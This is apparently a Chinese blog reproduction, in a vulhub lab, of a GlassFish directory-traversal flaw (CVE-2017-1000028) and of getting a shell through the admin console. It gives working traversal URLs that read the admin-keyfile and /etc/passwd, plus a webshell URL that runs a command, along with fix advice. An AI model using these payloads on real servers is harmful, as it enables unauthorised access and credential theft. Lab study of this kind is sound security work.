GlassFish漏洞总结复现
寫在前面:本文為漏洞復現系列GlassFish篇,復現的漏洞已vulhub中存在的環境為主。
歡迎大家點贊收藏,點點關注更好了hhhhhh
文章目錄
- 簡介
- GlassFish 任意文件讀取(CVE-2017-1000028)
- 漏洞原理
- 影響范圍
- 漏洞復現
- 修復建議
- GlassFish 后臺Getshell
- 漏洞原理
- 影響范圍
- 漏洞復現
- 修復建議
- 總結
簡介
GlassFish 是用于構建 Java EE 5應用服務器的開源開發項目的名稱。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代碼以及 Oracle 貢獻的 TopLink 持久性代碼。該項目提供了開發高質量應用服務器的結構化過程,以前所未有的速度提供新的功能。
默認端口:8080(Web應用端口,即網站內容),4848(GlassFish管理中心)
指紋信息:
Server: GlassFish Server Open Source Edition 4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)
GlassFish 任意文件讀取(CVE-2017-1000028)
漏洞原理
java語言中會把%c0%af解析為\uC0AF,最后轉義為ASCCII字符的/(斜杠)。利用..%c0%af..%c0%af來向上跳轉,達到目錄穿越、任意文件讀取的效果。 計算機指定了UTF8編碼接收二進制并進行轉義,當發現字節以0開頭,表示這是一個標準ASCII字符,直接轉義,當發現110開頭,則取2個字節 去掉110模板后轉義。
java語言中會把%c0%ae解析為\uC0AE,最后轉義為ASCCII字符的.(點)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/來向上跳轉,達到目錄穿越、任意文件讀取的效果。
C0AF 轉換位二進制為 110 00000 10 101111 ,110開頭去掉摸板后為00000 101111 轉換為10進制為47,ASSCI為/;C0AE同理。
影響范圍
<=4.1.2版本
漏洞復現
下載4.1.2版本的GlassFish,解壓后進入glassfish/bin目錄下打開CMD窗口輸入asadmin start-domain啟動glassfish;asadmin stop-domain 停止glassfish。
訪問:http://your-ip:8080進入web應用界面;http://your-ip:4848進入管理中心。
這里有個坑點,解壓路徑中不要有中文,否則管理中心界面一直進不去。
改完路徑后,重新啟動,成功進入管理中心,默認安裝的密碼為空。
首先在根目錄下創建1.txt文件。
然后利用漏洞讀取該文件,通過..%c0%af..%c0%af來向上跳轉,達到目錄穿越,讀取文件;最終測試訪問鏈接如下:
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af1.txt
通過測試大概穿越9次路徑跳至GlassFish的解壓目錄處;prototype去掉不影響;可有可無。
讀admin-keyfile文件,該文件是儲存admin賬號密碼的文件,爆破。
位置在glassfish/domains/domain1/config/admin-keyfile
訪問路徑為:
http://localhost:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
Linux環境下:使用vulhub的docker環境啟動。
https://192.168.255.128:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
修復建議
升級至最新版本或者4.1.2版本以上。
GlassFish 后臺Getshell
漏洞原理
通過爆破或者弱口令進入后臺后,可以部署war包來getshell。
影響范圍
全版本管理中心登錄賬號弱口令
漏洞復現
默認安裝的GlassFish管理中心是空密碼的,無需登錄,直接進入后臺。
進入后臺后 Applications,點擊右邊的deploy。
選中war包后上傳,填寫Context Root 這個關系到你訪問的url,點擊Ok。
訪問http://127.0.0.1:8080/[Context Root]/[war包內的filename]
http://127.0.0.1:8080/getshell/1.jsp?pwd=123&i=ipconfig
修復建議
1.不開放后臺給外網;
2.若開放 密碼強度需設置 包含 大寫字母,小寫字母,數字,特殊字符,且長度大于10位。
總結
GlassFish存在的漏洞有很多,這里總結主要是對一些常見的漏洞復現和分析(主要是vulhub上的環境)當然了目前網上都有很多自動化的檢測和利用工具,這里手動驗證是為了加深印象;漏洞的原理很多都是參考大佬們的文章,個人其實還是有很多不是很理解(菜狗)這里對大佬們表示衷心的感謝。后續繼續補充其他漏洞復現。
總結
以上是生活随笔為你收集整理的GlassFish漏洞总结复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Win Server2016安装Glas
- 下一篇: thinkphp的column()函数